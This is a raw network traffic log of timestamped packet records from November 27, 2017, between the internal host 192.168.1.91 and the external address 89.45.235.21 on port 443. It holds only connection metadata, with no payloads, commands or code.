Nov 27, 2017 12:34:39.898792028 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.898931026 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.898992062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.905805111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.905828953 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.905916929 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.905949116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.914385080 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.914411068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.914479971 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.914510965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.921530008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.921550989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.921622038 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.921643972 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.941564083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.941730976 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.941762924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.942822933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.942843914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.943734884 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.943759918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.954884052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.954916954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.954989910 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.955009937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.961908102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.961934090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.962059021 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.962078094 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.976836920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.976851940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.977158070 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.977185965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.995312929 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.995343924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:39.995762110 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:39.995796919 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.097863913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.097879887 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.097886086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.098128080 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.098148108 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.109524965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.111695051 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.111721039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.124233961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.124258041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.124608040 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.124630928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.149203062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.149223089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.149346113 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.149374008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.175189018 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.175206900 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.175385952 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.175412893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.182111979 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.182127953 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.182250977 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.182275057 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.202902079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.202920914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.203068018 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.203093052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.233405113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.233437061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.233563900 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.233588934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.259177923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.259198904 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.259331942 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.259356022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.266052008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.266158104 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.266179085 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.273185015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.273202896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.273299932 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.273332119 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.288394928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.288414955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.288530111 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.288553953 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.310417891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.310436010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.310556889 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.310580969 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.333363056 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.333383083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.333535910 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.333561897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.365639925 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.365662098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.365668058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.365833998 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.365859032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.372667074 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.372683048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.372775078 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.372796059 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.395867109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.395888090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.396089077 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.396111965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.417601109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.417630911 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.417963028 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.417993069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.448297977 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.448319912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.448327065 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.451759100 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.451783895 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.455292940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.455311060 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.455754042 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.455777884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.478895903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.478920937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.479104996 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.479130983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.500458002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.500482082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.503716946 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.503739119 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.534998894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.535128117 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.535145998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.539305925 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.541917086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.541937113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.541946888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.542238951 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.549525023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.549545050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.549552917 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.549913883 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.558435917 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.574028969 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.574044943 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.574136972 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.574157953 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.582082987 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.582099915 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.582168102 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.582187891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.609050989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.609074116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.609236002 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.609260082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.616209030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.616225958 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.616355896 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.616379023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.634881020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.634977102 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.634999990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.642019033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.642045021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.642142057 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.642164946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.652937889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.652961969 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.653189898 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.653213978 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.659951925 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.659982920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.660171986 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.660196066 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.671158075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.671188116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.671381950 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.671410084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.689830065 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.689851999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.689982891 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.690006971 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.707072020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.707098007 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.707285881 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.707307100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.726752996 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.726775885 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.726783991 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.726984024 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.727010965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.728209972 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.728229046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.728306055 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.728324890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.743380070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.743398905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.743555069 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.743582964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.755740881 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.755760908 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.755767107 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.755934954 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.755960941 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.762706041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.762725115 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.762902975 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.762929916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.773772001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.773789883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.773948908 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.773973942 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.780975103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.780994892 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.781167984 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.781194925 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.799541950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.799561024 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.799937963 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.799962044 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.812824965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.812855005 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.812865019 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.812908888 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.812932014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.813416958 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.813973904 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.813987017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.813992977 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.814078093 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.823765039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.829457998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.829474926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.829572916 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.829597950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.841980934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.842000008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.842009068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.842407942 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.842431068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.859888077 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.859908104 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.859988928 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.860007048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.868357897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.868387938 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.868393898 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.868499994 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.868530035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.877526999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.877536058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.877923012 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.877950907 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.884506941 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.884533882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.884905100 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.884929895 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.895582914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.895592928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.896157026 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.896188021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.897408009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.897425890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.897855997 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.897885084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.909703970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.909723997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.909826040 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.909853935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.918279886 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.918608904 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.918637991 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.921550035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.921655893 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.921684980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.926810026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.926824093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.927014112 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.927038908 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.929735899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.929744959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.929826975 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.929847956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.939410925 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.939426899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.939868927 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.939888954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.950700998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.950714111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.950720072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.950823069 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.950853109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.957699060 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.957712889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.958164930 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.958189964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.962315083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.962330103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.962443113 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.962471008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.965987921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.966005087 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.966152906 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.966171026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.966353893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.966367006 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.966586113 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.966604948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.982755899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.983306885 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.983335018 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.984699011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.984711885 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:40.984803915 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:40.984834909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.035952091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.035972118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.036076069 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.036098003 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.083415031 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.083436012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.083631039 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.083657980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.111624956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.111640930 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.111722946 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.111746073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.151458025 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.151475906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.151484013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.151644945 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.151668072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.158648968 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.158662081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.158807039 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.158833981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.175396919 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.175415039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.175524950 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.175545931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.189074993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.189090967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.189305067 CET	49165	443	192.168.1.91	89.45.235.21
